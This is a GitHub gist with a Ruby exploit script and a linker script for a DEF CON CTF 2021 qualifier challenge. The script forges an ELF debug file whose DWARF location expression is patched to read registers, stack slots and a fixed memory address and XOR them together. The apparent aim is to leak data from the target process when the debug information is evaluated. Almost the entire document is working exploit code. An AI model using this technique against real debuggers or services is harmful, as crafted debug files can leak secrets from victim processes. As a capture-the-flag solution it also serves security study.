Last active
May 5, 2021 04:27
-
-
Save shinh/1a7c185ea0478f7b14f2ec905b59d1b1 to your computer and use it in GitHub Desktop.
DEF CON CTF 2021 Qual exploit-for-dummies
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# Need gold or lld, probably | |
def File.read(filename) | |
File.open(filename, 'r:binary') do |f| | |
f.read | |
end | |
end | |
def File.write(filename, s) | |
File.open(filename, 'w:binary') do |f| | |
f.write(s) | |
end | |
end | |
base_code = %q( | |
int a; | |
int F; | |
int flag3; | |
//volatile int flag4; | |
//volatile int flag5; | |
//volatile int flag6; | |
//volatile int flag7; | |
//volatile int flag8; | |
int main; | |
) | |
File.write("dwarf_base.c", base_code) | |
if !system("gcc -gno-record-gcc-switches -Wl,--no-eh-frame-hdr -static -g dwarf_base.c -Wl,-T,minimal.lds -o trivia.debug") | |
raise | |
end | |
#system("objcopy --only-keep-debug dwarf_base.o trivia.debug") | |
#exit | |
debug_info_off = `readelf -a trivia.debug`[/\.debug_info.*\s+(\h+)$/, 1].hex | |
STDERR.puts "[-] debug_info=%x" % debug_info_off | |
flag_found = false | |
location_off = nil | |
block = nil | |
`readelf -wi trivia.debug`.split("\n").each do |line| | |
if line =~ /F$/ | |
flag_found = true | |
end | |
if flag_found && line =~ /<(\h+)>\s+DW_AT_location.*block: (.*?)\s+\(/ | |
location_off = $1.hex | |
block = $2 | |
break | |
end | |
end | |
STDERR.puts "[-] location_off=%x" % location_off | |
STDERR.puts "[-] block=%s" % block | |
base_binary = File.read("trivia.debug") | |
p base_binary[debug_info_off + location_off, 10] | |
block = block.split.map{|b|b.hex.chr} * '' | |
p base_binary.index(block) | |
move_off = 0 | |
dwarf_size = 9 + move_off + 0x16 * 1 | |
STDERR.puts "[-] dwarf_size=%d" % dwarf_size | |
base_binary[debug_info_off + location_off - move_off] = dwarf_size.chr | |
def sleb(v) | |
r = '' | |
done = false | |
while !done | |
b = v & 0x7f | |
v >>= 7 | |
if ((v == 0 && (b & 0x40) == 0) || (v == -1 && (b & 0x40))) | |
done = true | |
else | |
b |= 0x80 | |
end | |
r += b.chr | |
end | |
r | |
end | |
def dw_lit(n) | |
(0x30 + n).chr | |
end | |
def dw_breg(r, o) | |
(0x70 + r).chr + sleb(o) | |
end | |
def dw_deref | |
0x6.chr | |
end | |
def dw_consts(v) | |
0x11.chr + sleb(v) | |
end | |
dw_nop = 0x96.chr | |
dw_add = 0x22.chr | |
dw_xor = 0x27.chr | |
dwarf = '' | |
# p/x $rbx | |
dwarf += dw_breg(3, 0) | |
# x/gx 0x404100 | |
dwarf += dw_consts(0x404100) | |
dwarf += dw_deref | |
# x/gx $rsp+0x98 | |
dwarf += dw_breg(7, 0x98) | |
dwarf += dw_deref | |
# x/gx *(unsigned long *)($rsp+0xb8)+0x10 | |
dwarf += dw_breg(7, 0xb8) | |
dwarf += dw_deref | |
dwarf += dw_consts(0x10) | |
dwarf += dw_add | |
dwarf += dw_deref | |
dwarf += dw_xor | |
dwarf += dw_xor | |
dwarf += dw_xor | |
raise if dwarf.size > dwarf_size | |
while dwarf.size != dwarf_size | |
dwarf += dw_nop | |
end | |
base_binary[debug_info_off + location_off - move_off + 1, dwarf.size] = dwarf | |
#base_binary.gsub!('.dwo', "\0\0\0\0") | |
#base_binary[0x188] = 42.chr | |
File.write('mod', base_binary) | |
system("objcopy -I elf64-x86-64 -O elf64-x86-64 -j '.debug_info' -j '.debug_abbrev' -j '.debug_str' mod out") | |
system("ls -l out") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", | |
"elf64-x86-64") | |
OUTPUT_ARCH(i386:x86-64) | |
SECTIONS | |
{ | |
.text : | |
{ | |
*(.text) | |
} | |
/DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) *(.note*) *(.comment*) } | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment